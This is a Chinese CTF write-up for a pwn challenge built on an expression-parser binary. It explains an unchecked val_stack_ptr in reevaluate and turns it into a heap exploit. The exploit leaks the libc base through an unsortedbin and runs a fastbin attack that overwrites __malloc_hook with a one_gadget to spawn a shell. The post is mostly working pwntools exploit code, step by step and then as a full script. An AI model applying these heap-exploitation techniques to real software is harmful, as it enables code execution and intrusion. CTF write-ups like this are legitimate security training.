-
-
[原创]第六题 兵刃相向 by k1ee
-
2020-11-30 14:39 4856
-
兵刃相向
一个pwn题,是我没做过的堆题,我是乱打的。
题目是一个表达式解析器,漏洞点在于reevaluate没有限制val_stack_ptr
,从而找到方法覆盖掉g_ctx.g_broken
,随后构造unsortedbin,并通过同样的方法偏移指针,拿到libc基地址。最后通过fastbin attack覆盖malloc_hook
为one gadget,拿到flag。
首先构造一个变量,用来避免后续在覆盖g_ctx.g_broken
的时候,往21个指针的地方写入错误指针
1 | create_symbol( 'b' , '1' ) |
构造造成偏移的表达式
1 2 3 4 5 | create_symbol( 'minus_eight' , '11-1' ) delete_symbol( 'minus_eight' ) # 11 1 - create_symbol( 'minus_eight' , '4+4' ) # 4 4 +- |
构造爆破表达式,要求有多余的23个运算符(malloc只能做15个,剩余的通过val构造为0x2A2A2A2A2A2A2A2A
,即********
来完成)
1 2 3 4 5 6 | for i in range ( 18 ): create_symbol( 'pad_' + str (i), '2*3*7*257*641*65537*6700417*1*111111111111111' ) for i in range ( 15 , 0 , - 1 ): pad_mul( 'a' , [i]) create_symbol( 'a' , '2*21*10796368769*6700417*1*1*1*b' ) |
将符号a指针向前移8字节
1 | reeval_symbol( 'minus_eight' ) |
清空前面的偏移指针,因为会被后面覆盖掉
1 2 3 | delete_symbol( 'minus_eight' ) for i in range ( 18 ): delete_symbol( 'pad_' + str (i)) |
把b替换为0,并且注意刚才的2*21*10796368769*6700417*1*1*1*b
,b在最末尾,因此运算的时候会覆盖掉前面的数,然后由于是乘以0,写入的值也会是0,如果不做这事,指针列表会变成这样
替换之后,给他内存蹭了一下,两分多钟过后,就好了,可惜b这个符号就没法free了,不过影响不大
1 2 | delete_symbol( 'b' ) create_symbol( 'b' , '0' ) |
把最后这个指针再加回8,然后释放,不过不知道这步是不是必要的,放荡一点泄露就泄露了
1 2 3 4 5 6 | create_symbol( 'add_eight' , '11+1' ) delete_symbol( 'add_eight' ) create_symbol( 'add_eight' , '4+4' ) reeval_symbol( 'add_eight' ) delete_symbol( 'add_eight' ) delete_symbol( 'a' ) |
随后准备构造一个unsortedbin
1 2 3 | for i in range ( 18 ): create_symbol( 'pad_' + str (i), '1' ) create_symbol( 'big' , '111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1' ) |
同样的构造一个偏移-211
1 2 3 | create_symbol( 'off' , '111-1111' ) delete_symbol( 'off' ) create_symbol( 'off' , '104+107' ) |
释放big,存入unsortedbin,新建一个pivot,结合上面的-211,指向fd,取得libc基地址,下图value是main_arena+88
1 2 3 4 5 6 7 | create_symbol( 'pivot' , '1' ) delete_symbol( 'big' ) reeval_symbol( 'off' ) main_arena = show_symbol(p64( 0 ).decode()) - 88 libc_base = main_arena - 0x3C4B20 one_gadget = libc_base + 0xf02a4 |
选一个one_gadget,实验可知第三个符合要求
下面fastbin attack替换malloc_hook
1 | attack_bin = main_arena - 0x10 - 0x23 |
不过在这之前把刚才的pivot给偏移回去释放了
1 2 3 4 5 6 7 8 9 | delete_symbol( 'off' ) create_symbol( 'off' , '111+1111' ) delete_symbol( 'off' ) create_symbol( 'off' , '104+107' ) reeval_symbol( 'off' ) for i in range ( 18 ): delete_symbol( 'pad_' + str (i)) delete_symbol( 'off' ) delete_symbol( 'pivot' ) |
申请两个0x5F大小的,两者相距0x70,因此同样可以前移0x70拿到释放的指针,不过这样我们就得申请3个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | create_symbol( 'off' , '111-11' ) delete_symbol( 'off' ) create_symbol( 'off' , '56+56' ) create_symbol( 'fastbinattack2' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) for i in range ( 17 ): create_symbol( 'pad_' + str (i), '111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'fastbinattack1' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'fastbinattackp' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) delete_symbol( 'fastbinattack1' ) delete_symbol( 'fastbinattack2' ) reeval_symbol( 'off' ) delete_symbol( 'off' ) #重新释放fastbinattack1 delete_symbol(p64( 0 ).decode()) |
此时fastbin已经构造完成chunk1 -> chunk2 -> chunk1
由于下面要申请5次,但现在只有4个空位置
因此需要释放一个填充
1 | delete_symbol( 'pad_0' ) |
申请3次buffer,其中第一次写入__malloc_hook-0x23
,覆盖fd
1 2 3 | create_symbol(p64(attack_bin), '1*1111*11111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'skip1' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'skip2' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) |
写入表达式,使得value(即__malloc_hook
)等于one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | values = factorint(one_gadget) if len (values) = = 1 : print ( 'One Gadget Not Factorable' ) exit( 0 ) dirty_chunk = '' currentlen = 0 for i in values: for repeat in range (values[i]): dirty_chunk + = str (i) + '*' currentlen + = len ( str (i)) + 3 dirty_chunk = dirty_chunk[: - 1 ] currentlen - = 3 targetlen = 68 while currentlen < targetlen: dirty_chunk + = '+1111-1111' currentlen + = 14 print ( hex (one_gadget)) create_symbol( 'payload' , dirty_chunk) |
最后再次申请内存,拿到flag
1 2 3 4 5 6 7 8 9 10 | conn.sendline( '1' ) print ( 1 ) print (conn.recvuntil( 'Symbol name : ' ).decode()) conn.sendline( 'exploit' ) print ( 'exploit' ) print (conn.recvuntil( 'Expression : ' ).decode()) conn.sendline( '1+1' ) print ( '1+1' ) conn.interactive() |
1 | flag{a1008252 - 6159 - 43f3 - 8221 - 485e923eb4d6 } |
完整脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 | import os os.environ[ 'PWNLIB_NOTERM' ] = 'True' from pwn import * from sympy.ntheory import factorint # conn = remote('121.36.145.157', 10000) conn = process( '/home/ubuntu/ee' ) #, env={"LD_PRELOAD" : "/home/ubuntu/libc.so.6"}) print ( 1 ) print (conn.recvuntil( 'Your choice :' ).decode()) def create_symbol(name, symbol): conn.sendline( '1' ) print ( 1 ) print (conn.recvuntil( 'Symbol name : ' ).decode()) conn.sendline(name) print (name) print (conn.recvuntil( 'Expression : ' ).decode()) conn.sendline(symbol) print (symbol) print (conn.recvuntil( 'Your choice :' ).decode()) def delete_symbol(name): conn.sendline( '2' ) print ( 2 ) print (conn.recvuntil( 'Symbol name : ' ).decode()) conn.sendline(name) print (name) print (conn.recvuntil( 'Your choice :' ).decode()) def reeval_symbol(name): conn.sendline( '3' ) print ( 3 ) print (conn.recvuntil( 'Symbol name : ' ).decode()) conn.sendline(name) print (name) print (conn.recvuntil( 'Your choice :' ).decode()) def show_symbol(name): conn.sendline( '4' ) print ( 4 ) print (conn.recvuntil( 'Symbol name : ' ).decode()) conn.sendline(name) print (name) print (conn.recvuntil( '[*]value : ' ).decode()) value = int (conn.recvline().decode()) print ( hex (value)) print (conn.recv( 1000 , 1 ).decode()) return value def pad_mul(name, l): str = '2*3*7*257*641*65537*6700417*1*' str + = '1' * i create_symbol(name, str ) delete_symbol(name) #prevent set values on ptrs create_symbol( 'b' , '1' ) #fix g_ctx.broken #move last ptr forward 8 create_symbol( 'minus_eight' , '11-1' ) delete_symbol( 'minus_eight' ) # 11 1 - create_symbol( 'minus_eight' , '4+4' ) # 4 4 +- for i in range ( 18 ): create_symbol( 'pad_' + str (i), '2*3*7*257*641*65537*6700417*1*111111111111111' ) for i in range ( 15 , 0 , - 1 ): pad_mul( 'a' , [i]) create_symbol( 'a' , '2*21*10796368769*6700417*1*1*1*b' ) #move 8 forward reeval_symbol( 'minus_eight' ) delete_symbol( 'minus_eight' ) for i in range ( 18 ): delete_symbol( 'pad_' + str (i)) delete_symbol( 'b' ) create_symbol( 'b' , '0' ) #fix broken reeval_symbol( 'a' ) create_symbol( 'add_eight' , '11+1' ) delete_symbol( 'add_eight' ) create_symbol( 'add_eight' , '4+4' ) #move back last ptr reeval_symbol( 'add_eight' ) delete_symbol( 'add_eight' ) delete_symbol( 'a' ) for i in range ( 18 ): create_symbol( 'pad_' + str (i), '1' ) create_symbol( 'big' , '111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'off' , '111-1111' ) delete_symbol( 'off' ) create_symbol( 'off' , '104+107' ) create_symbol( 'pivot' , '1' ) delete_symbol( 'big' ) reeval_symbol( 'off' ) main_arena = show_symbol(p64( 0 ).decode()) - 88 libc_base = main_arena - 0x3C4B20 one_gadget = libc_base + 0xf02a4 # 0x4526a # 0xf1147 # 0xf02a4 # 0x45216 print ( hex (libc_base)) print ( hex (one_gadget)) attack_bin = main_arena - 0x10 - 0x23 print ( hex (attack_bin)) delete_symbol( 'off' ) create_symbol( 'off' , '111+1111' ) delete_symbol( 'off' ) create_symbol( 'off' , '104+107' ) reeval_symbol( 'off' ) for i in range ( 18 ): delete_symbol( 'pad_' + str (i)) delete_symbol( 'off' ) delete_symbol( 'pivot' ) create_symbol( 'off' , '111-11' ) delete_symbol( 'off' ) create_symbol( 'off' , '56+56' ) create_symbol( 'fastbinattack2' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) for i in range ( 17 ): create_symbol( 'pad_' + str (i), '111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'fastbinattack1' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'fastbinattackp' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) delete_symbol( 'fastbinattack1' ) delete_symbol( 'fastbinattack2' ) reeval_symbol( 'off' ) delete_symbol( 'off' ) delete_symbol(p64( 0 ).decode()) #re free fastbinattack1 delete_symbol( 'pad_0' ) #fake fd create_symbol(p64(attack_bin), '1*1111*11111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'skip1' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) create_symbol( 'skip2' , '1*1111*11111111*111111111111111*111111111111111*111111*1' ) values = factorint(one_gadget) if len (values) = = 1 : print ( 'One Gadget Not Factorable' ) exit( 0 ) dirty_chunk = '' currentlen = 0 for i in values: for repeat in range (values[i]): dirty_chunk + = str (i) + '*' currentlen + = len ( str (i)) + 3 dirty_chunk = dirty_chunk[: - 1 ] currentlen - = 3 targetlen = 68 while currentlen < targetlen: dirty_chunk + = '+1111-1111' currentlen + = 14 print ( hex (one_gadget)) create_symbol( 'payload' , dirty_chunk) conn.sendline( '1' ) print ( 1 ) print (conn.recvuntil( 'Symbol name : ' ).decode()) conn.sendline( 'exploit' ) print ( 'exploit' ) print (conn.recvuntil( 'Expression : ' ).decode()) conn.sendline( '1+1' ) print ( '1+1' ) conn.interactive() |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法